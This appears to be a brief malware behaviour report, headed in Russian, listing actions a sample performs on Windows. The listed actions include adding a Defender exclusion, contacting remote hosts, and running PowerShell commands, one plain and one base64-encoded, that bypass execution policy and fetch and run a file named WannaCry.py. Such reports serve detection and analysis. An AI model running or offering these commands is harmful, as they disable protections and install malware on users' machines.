Техническая информация
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "C:\
- '<LOCALNET>.68.118':80
- 'to####are.com.tr':80
- DNS ASK to####are.com.tr
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest 'http://19#.#68.68.118:80/WannaCry.py' -OutFile 'C:\Users\Asus\AppData\Local\Temp\WannaCry.py'; Start-Process 'C:\Users\Asus\AppDa...
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -NoProfile -ExecutionPolicy Bypass -EncodedCommand "SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJwBoAHQAdABwADoALwAvAHQAbwBvAGwAcwBoAGEAcgBlAC4AYwBvAG0ALgB0AHIALwBmAGkAbABlAHMALwBLAHIAZgBHA...